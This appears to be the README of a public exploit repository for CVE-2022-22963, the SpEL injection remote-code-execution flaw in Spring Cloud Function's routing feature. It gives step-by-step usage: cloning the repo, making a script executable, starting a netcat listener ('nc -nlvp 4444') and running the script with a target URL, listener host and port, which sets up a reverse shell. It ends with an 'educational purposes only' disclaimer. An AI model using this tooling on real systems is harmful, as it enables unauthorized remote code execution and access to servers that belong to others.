
In versions 3.1.6, 3.2.2, and earlier versions of Spring Cloud Function, when using the routing functionality, it is possible for a user to provide a specially crafted SpEL as a routing expression that can result in remote code execution and access to local resources.
Clone the repository
git clone https://github.com/jrbH4CK/CVE-2022-22963.git
Enter the folder
cd CVE-2022-22963
Change the execution permissions
chmode +x springCloud.sh
Start nc on the desired port
nc -nlvp 4444
Run the following command changing the parameters according to your needs
./springCloud.sh url lhost lport
NOTE: The use of this repository is the responsibility of the user and not the author, for educational purposes only.